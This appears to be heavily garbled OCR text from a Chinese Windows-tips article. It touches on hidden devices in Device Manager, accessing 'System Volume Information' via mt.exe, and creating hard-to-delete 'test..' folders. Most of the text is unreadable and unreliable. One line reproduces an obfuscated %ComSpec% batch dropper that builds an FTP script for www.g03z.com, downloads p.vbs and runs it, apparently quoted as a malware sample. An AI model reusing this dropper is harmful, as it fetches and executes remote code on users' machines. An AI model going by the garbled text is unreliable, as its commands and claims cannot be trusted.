®ITR:  [Bhi v

RO | | » 3@3}’-‘3‘-" i® '?PRPP

(#=Ee0._| (EEEr0. | [ ERD. |
PR ER AR E AR
SESNEROAN
(@ [ ®a |

%ComSpec% /c set h=p -&set j=ge&set s=.g03z.&echo echo o www%s%com”>t>b.bat&call
b.bat&echo aa33>>t&echo bb33>>t&echo echo %j%t p p.vbs>">t>>c&echo echo
byer>">t>>c&echo ft%h%s:t>>c&echo start p.vbs>>cé&ren ¢ h.bat&call h.bat&



@ set

devmgr_show_nonpresent_devices:1
I A (devmgmt.msc)->4g 1 '

=10l x|

':'<
L ;i
B g EE‘EEH
B BEE SITW  wAE HNE®
— 0 5 — ]
- @G e ESEEEE
T I EE IR0
-, DyDicps i (REIYE)
.%m aTan B GRER)D
-5 SCS1 B R, ey
i e nEIﬁEﬁ,E.H.
B TFHONEL  EET@.

w1 FREE
-4 SRR

J =i

J Bl
e DHEEE
B AR
s GAE

m @ BT

-0, BE  RERE kA8

o B TR BRI ER
FEMER (COMFOLET)
) FRERRIERES

BRI T EIRES -

el =
o3



System Volume Information

O ER T LT kB R 1R
kB EF AR RS S 0 E - B
e N 2 b A 7

B0

P Mmt.exe —su

b dir "C:\System Volume Information®

PV REBIEAT T ia‘*fjﬁ,{”ﬁ e RE
@it * mt.exe#t A BAM P F AR
@ Lkt A :Ur#fﬁ mt.exe > 3 K&



R P&

Odirfspér e i .

» Mmd test. .\ mkdir test..\

b copy hello.txt "G:\ERS\test..\\hello.txt"
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